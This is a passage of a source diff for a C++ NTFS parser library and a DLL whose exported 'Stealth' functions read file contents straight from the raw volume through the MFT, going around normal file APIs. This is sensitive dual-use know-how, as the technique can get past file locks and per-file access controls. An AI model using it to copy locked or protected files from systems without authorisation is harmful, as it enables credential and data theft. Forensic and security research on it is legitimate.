__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
const CAttrBase* FindStream(_TCHAR *name = NULL);
__inline BOOL IsDeleted() const;
__inline BOOL IsDirectory() const;
__inline BOOL IsReadOnly() const;
__inline BOOL IsHidden() const;
__inline BOOL IsSystem() const;
__inline BOOL IsCompressed() const;
__inline BOOL IsEncrypted() const;
__inline BOOL IsSparse() const;
}; // CFileRecord
#include "NTFS_Attribute.h"
CFileRecord::CFileRecord(const CNTFSVolume *volume)
{
_ASSERT(volume);
Volume = volume;
FileRecord = NULL;
FileReference = (ULONGLONG)-1;
ClearAttrRawCB();
// Default to parse all attributes
AttrMask = MASK_ALL;
}
CFileRecord::~CFileRecord()
{
ClearAttrs();
if (FileRecord)
delete FileRecord;
}
// Free all CAttr_xxx
void CFileRecord::ClearAttrs()
{
for (int i=0; i<ATTR_NUMS; i++)
{
AttrList[i].RemoveAll();
}
}
// Verify US and update sectors
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
{
int i;
for (i=0; i<sectors; i++)
{
sector += ((Volume->SectorSize>>1) - 1);
if (*sector != usn)
return FALSE; // USN error
*sector = usarray[i]; // Write back correct data
sector++;
}
return TRUE;
}
// Call user defined Callback routines for an attribute
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
{
*bDiscard = FALSE;
if (AttrRawCallBack[attType])
AttrRawCallBack[attType](ahc, bDiscard);
else if (Volume->AttrRawCallBack[attType])
Volume->AttrRawCallBack[attType](ahc, bDiscard);
}
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
{
switch (ahc->Type)
{
case ATTR_TYPE_STANDARD_INFORMATION:
return new CAttr_StdInfo(ahc, this);
case ATTR_TYPE_ATTRIBUTE_LIST:
if (ahc->NonResident)
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
else
return new CAttr_AttrList<CAttrResident>(ahc, this);
case ATTR_TYPE_FILE_NAME:
return new CAttr_FileName(ahc, this);
case ATTR_TYPE_VOLUME_NAME:
return new CAttr_VolName(ahc, this);
case ATTR_TYPE_VOLUME_INFORMATION:
return new CAttr_VolInfo(ahc, this);
case ATTR_TYPE_DATA:
if (ahc->NonResident)
return new CAttr_Data<CAttrNonResident>(ahc, this);
else
return new CAttr_Data<CAttrResident>(ahc, this);
case ATTR_TYPE_INDEX_ROOT:
return new CAttr_IndexRoot(ahc, this);
case ATTR_TYPE_INDEX_ALLOCATION:
return new CAttr_IndexAlloc(ahc, this);
case ATTR_TYPE_BITMAP:
if (ahc->NonResident)
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
else
// Resident Bitmap may exist in a directory's FileRecord
// or in $MFT for a very small volume in theory
return new CAttr_Bitmap<CAttrResident>(ahc, this);
// Unhandled Attributes
default:
*bUnhandled = TRUE;
if (ahc->NonResident)
return new CAttrNonResident(ahc, this);
else
return new CAttrResident(ahc, this);
}
}
// Parse a single Attribute
// Return False on error
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
{
DWORD attrIndex = ATTR_INDEX(ahc->Type);
if (attrIndex < ATTR_NUMS)
{
BOOL bDiscard = FALSE;
UserCallBack(attrIndex, ahc, &bDiscard);
if (!bDiscard)
{
BOOL bUnhandled = FALSE;
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
if (attr)
{
if (bUnhandled)
{
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
}
AttrList[attrIndex].InsertEntry(attr);
return TRUE;
}
else
{
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
return FALSE;
}
}
else
{
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
return TRUE;
}
}
else
{
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
return FALSE;
}
}
// Read File Record
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
{
FILE_RECORD_HEADER *fr = NULL;
DWORD len;
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
{
// Take as continuous disk allocation
LARGE_INTEGER frAddr;
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
return FALSE;
else
{
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
&& len==Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
else
{
// May be fragmented $MFT
ULONGLONG frAddr;
frAddr = (Volume->FileRecordSize) * fileRef;
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
&& len == Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
// Read File Record, verify and patch the US (update sequence)
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
{
// Clear previous data
ClearAttrs();
if (FileRecord)
{
delete FileRecord;
FileRecord = NULL;
}
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
if (fr == NULL)
{
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
FileReference = (ULONGLONG)-1;
}
else
{
FileReference = fileRef;
if (fr->Magic == FILE_RECORD_MAGIC)
{
// Patch US
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
WORD usn = *usnaddr;
WORD *usarray = usnaddr + 1;
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
{
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
FileRecord = fr;
return TRUE;
}
else
{
NTFS_TRACE("Update Sequence Number error\n");
}
}
else
{
NTFS_TRACE("Invalid file record\n");
}
delete fr;
}
return FALSE;
}
// Visit IndexBlocks recursivly to find a specific FileName
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return FALSE;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ib.FindNextEntry();
}
}
return FALSE;
}
// Traverse SubNode recursivly in ascending order
// Call user defined callback routine once found an subentry
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
if (ie->HasName())
seCallBack(ie);
ie = ib.FindNextEntry();
}
}
}
// Parse all the attributes in a File Record
// And insert them into a link list
BOOL CFileRecord::ParseAttrs()
{
_ASSERT(FileRecord);
// Clear previous data
ClearAttrs();
// Visit all attributes
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
dataPtr += FileRecord->OffsetOfAttr;
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
{
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
{
if (!ParseAttr(ahc)) // Parse error
return FALSE;
if (IsEncrypted() || IsCompressed())
{
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
return FALSE;
}
}
dataPtr += ahc->TotalSize;
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
}
return TRUE;
}
// Install Attribute raw data CallBack routines for a single File Record
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CFileRecord::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
// Choose attributes to handle, unwanted attributes will be discarded silently
__inline void CFileRecord::SetAttrMask(DWORD mask)
{
// Standard Information and Attribute List is needed always
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
}
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
{
_ASSERT(attrCallBack);
for (int i = 0; i < ATTR_NUMS; i ++)
{
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
{
const CAttrBase *ab = AttrList[i].FindFirstEntry();
while (ab)
{
BOOL bStop;
bStop = FALSE;
attrCallBack(ab, context, &bStop);
if (bStop)
return;
ab = AttrList[i].FindNextEntry();
}
}
}
}
// Find Attributes
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
}
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
}
// Get File Name (First Win32 name)
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
{
// A file may have several filenames
// Return the first Win32 filename
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
while (fn)
{
if (fn->IsWin32Name())
{
int len = fn->GetFileName(buf, bufLen);
if (len != 0)
return len; // success or fail
}
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
}
return 0;
}
// Get File Size
__inline ULONGLONG CFileRecord::GetFileSize() const
{
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
return fn ? fn->GetFileSize() : 0;
}
// Get File Times
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
{
// Standard Information attribute hold the most updated file time
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
if (si)
si->GetFileTime(writeTm, createTm, accessTm);
else
{
writeTm->dwHighDateTime = 0;
writeTm->dwLowDateTime = 0;
if (createTm)
{
createTm->dwHighDateTime = 0;
createTm->dwLowDateTime = 0;
}
if (accessTm)
{
accessTm->dwHighDateTime = 0;
accessTm->dwLowDateTime = 0;
}
}
}
// Traverse all sub directories and files contained
// Call user defined callback routine once found an entry
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
{
_ASSERT(seCallBack);
// Start traversing from IndexRoot (B+ tree root node)
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
// Visit subnode first
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
if (ie->HasName())
seCallBack(ie);
ie = ieList->FindNextEntry();
}
}
// Find a specific FileName from InexRoot described B+ tree
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
{
// Start searching from IndexRoot (B+ tree root node)
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return FALSE;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ieList->FindNextEntry();
}
return FALSE;
}
// Find Data attribute class of
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
{
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
while (data)
{
if (data->IsUnNamed() && name == NULL) // Unnamed stream
break;
if ((!data->IsUnNamed()) && name) // Named stream
{
_TCHAR an[MAX_PATH];
if (data->GetAttrName(an, MAX_PATH))
{
if (_tcscmp(an, name) == 0)
break;
}
}
data = FindNextAttr(ATTR_TYPE_DATA);
}
return data;
}
// Check if it's deleted or in use
__inline BOOL CFileRecord::IsDeleted() const
{
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
}
// Check if it's a directory
__inline BOOL CFileRecord::IsDirectory() const
{
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
}
__inline BOOL CFileRecord::IsReadOnly() const
{
// Standard Information attribute holds the most updated file time
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsReadOnly() : FALSE;
}
__inline BOOL CFileRecord::IsHidden() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsHidden() : FALSE;
}
__inline BOOL CFileRecord::IsSystem() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSystem() : FALSE;
}
__inline BOOL CFileRecord::IsCompressed() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsCompressed() : FALSE;
}
__inline BOOL CFileRecord::IsEncrypted() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsEncrypted() : FALSE;
}
__inline BOOL CFileRecord::IsSparse() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSparse() : FALSE;
}
///////////////////////////////////////
// NTFS Volume Implementation
///////////////////////////////////////
CNTFSVolume::CNTFSVolume(_TCHAR volume)
{
hVolume = INVALID_HANDLE_VALUE;
VolumeOK = FALSE;
MFTRecord = NULL;
MFTData = NULL;
Version = 0;
ClearAttrRawCB();
if (!OpenVolume(volume))
return;
// Verify NTFS volume version (must >= 3.0)
CFileRecord vol(this);
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
return;
vol.ParseAttrs();
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
if (!vi)
return;
Version = vi->GetVersion();
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
if (Version < 0x0300) // NT4 ?
return;
#ifdef _DEBUG
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
if (vn)
{
char volname[MAX_PATH];
if (vn->GetName(volname, MAX_PATH) > 0)
{
NTFS_TRACE1("NTFS volume name: %s\n", volname);
}
}
#endif
VolumeOK = TRUE;
MFTRecord = new CFileRecord(this);
MFTRecord->SetAttrMask(MASK_DATA);
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
{
MFTRecord->ParseAttrs();
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
if (MFTData == NULL)
{
delete MFTRecord;
MFTRecord = NULL;
}
}
}
CNTFSVolume::~CNTFSVolume()
{
if (hVolume != INVALID_HANDLE_VALUE)
CloseHandle(hVolume);
if (MFTRecord)
delete MFTRecord;
}
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
{
// Verify parameter
if (!_istalpha(volume))
{
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
return FALSE;
}
_TCHAR volumePath[7];
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
volumePath[6] = _T('\0');
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
if (hVolume != INVALID_HANDLE_VALUE)
{
DWORD num;
NTFS_BPB bpb;
// Read the first sector (boot sector)
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
{
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
{
// Log important volume parameters
SectorSize = bpb.BytesPerSector;
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
ClusterSize = SectorSize * bpb.SectorsPerCluster;
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
int sz = (char)bpb.ClustersPerFileRecord;
if (sz > 0)
FileRecordSize = ClusterSize * sz;
else
FileRecordSize = 1 << (-sz);
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
sz = (char)bpb.ClustersPerIndexBlock;
if (sz > 0)
IndexBlockSize = ClusterSize * sz;
else
IndexBlockSize = 1 << (-sz);
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
MFTAddr = bpb.LCN_MFT * ClusterSize;
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
}
else
{
NTFS_TRACE("Volume file system is not NTFS\n");
goto IOError;
}
}
else
{
NTFS_TRACE("Read boot sector error\n");
goto IOError;
}
}
else
{
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
IOError:
if (hVolume != INVALID_HANDLE_VALUE)
{
CloseHandle(hVolume);
hVolume = INVALID_HANDLE_VALUE;
}
return FALSE;
}
return TRUE;
}
// Check if Volume is successfully opened
__inline BOOL CNTFSVolume::IsVolumeOK() const
{
return VolumeOK;
}
// Get NTFS volume version
__inline WORD CNTFSVolume::GetVersion() const
{
return Version;
}
// Get File Record count
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
{
return (MFTData->GetDataSize() / FileRecordSize);
}
// Get BPB information
__inline DWORD CNTFSVolume::GetSectorSize() const
{
return SectorSize;
}
__inline DWORD CNTFSVolume::GetClusterSize() const
{
return ClusterSize;
}
__inline DWORD CNTFSVolume::GetFileRecordSize() const
{
return FileRecordSize;
}
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
{
return IndexBlockSize;
}
// Get MFT starting address
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
{
return MFTAddr;
}
// Install Attribute CallBack routines for the whole Volume
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CNTFSVolume::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
#endif
@@ -0,0 +1,40 @@
========================================================================
CONSOLE APPLICATION : NTFSParser Project Overview
========================================================================
AppWizard has created this NTFSParser application for you.
This file contains a summary of what you will find in each of the files that
make up your NTFSParser application.
NTFSParser.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NTFSParser.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NTFSParser.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NTFSParser.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// NTFSParser.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
@@ -0,0 +1,17 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <fstream>
// TODO: reference additional headers your program requires here
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
@@ -0,0 +1,28 @@
/*
* NTFS include files
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_H_CYB70289
#define __NTFS_H_CYB70289
#pragma pack(8)
#include "NTFS_Common.h"
#include "NTFS_FileRecord.h"
#include "NTFS_Attribute.h"
#pragma pack()
#endif
@@ -0,0 +1,161 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
#include "stdafx.h"
#include "NTFS.h"
#include "NTFS_DataType.h"
using namespace std;
struct FileInfo_t
{
CNTFSVolume* volume;
CFileRecord* fileRecord;
CIndexEntry* indexEntry;
CAttrBase* data;
};
extern "C" HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr)
{
FileInfo_t* fileInfo = new FileInfo_t;
string filePath = string(filePathCStr);
_TCHAR volumeName = filePath.at(0);
fileInfo->volume = new CNTFSVolume(volumeName);
if (!fileInfo->volume->IsVolumeOK())
{
return NULL;
}
//Parse root directory
fileInfo->fileRecord = new CFileRecord(fileInfo->volume);
fileInfo->fileRecord->SetAttrMask(MASK_INDEX_ROOT | MASK_INDEX_ALLOCATION);
if (!fileInfo->fileRecord->ParseFileRecord(MFT_IDX_ROOT))
{
return NULL;
}
if (!fileInfo->fileRecord->ParseAttrs())
{
return NULL;
}
//Find subdirectory
fileInfo->indexEntry = new CIndexEntry;
int dirs = filePath.find(_T('\\'), 0);
int dire = filePath.find(_T('\\'), dirs+1);
while (dire != string::npos)
{
string pathname = filePath.substr(dirs+1, dire-dirs-1);
const _TCHAR* pathnameCStr = (const _TCHAR*)pathname.c_str();
if (fileInfo->fileRecord->FindSubEntry(pathnameCStr, *(fileInfo->indexEntry)))
{
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
{
return NULL;
}
if (!fileInfo->fileRecord->ParseAttrs())
{
if (fileInfo->fileRecord->IsCompressed())
{
return NULL;
}
else if (fileInfo->fileRecord->IsEncrypted())
{
return NULL;
}
else
{
return NULL;
}
}
}
else
{
return NULL;
}
dirs = dire;
dire = filePath.find(_T('\\'), dirs+1);
}
string fileName = filePath.substr(dirs+1, filePath.size()-1);
const _TCHAR* fileNameCStr = (const _TCHAR*)fileName.c_str();
if (fileInfo->fileRecord->FindSubEntry(fileNameCStr, *(fileInfo->indexEntry)))
{
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
{
return NULL;
}
fileInfo->fileRecord->SetAttrMask(MASK_DATA);
if (!fileInfo->fileRecord->ParseAttrs())
{
return NULL;
}
fileInfo->data = (CAttrBase*)fileInfo->fileRecord->FindStream();
return fileInfo;
}
return NULL;
}
extern "C" DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* buffer, DWORD bufferSize, ULONGLONG offset, DWORD* bytesRead, ULONGLONG* dataRemaining)
{
if (fileInfo->data)
{
ULONGLONG dataLength = (ULONGLONG)fileInfo->data->GetDataSize();
ULONGLONG fullDataLength = dataLength;
dataLength = dataLength - offset;
if (dataLength > bufferSize)
{
dataLength = bufferSize;
}
if (dataLength > MAXUINT32)
{
return 1;
}
DWORD len;
if (fileInfo->data->ReadData(offset, buffer, dataLength, &len) && len == dataLength)
{
*bytesRead = len;
*dataRemaining = fullDataLength - len - offset;
return 0; //Success
}
return 3;
}
return 2;
}
extern "C" void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo)
{
delete (fileInfo->data);
delete (fileInfo->indexEntry);
delete (fileInfo->volume);
delete fileInfo;
}
@@ -0,0 +1,172 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{5E42B778-F231-4797-B7FD-7D5BCA9738D0}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>NTFSParserDLL</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
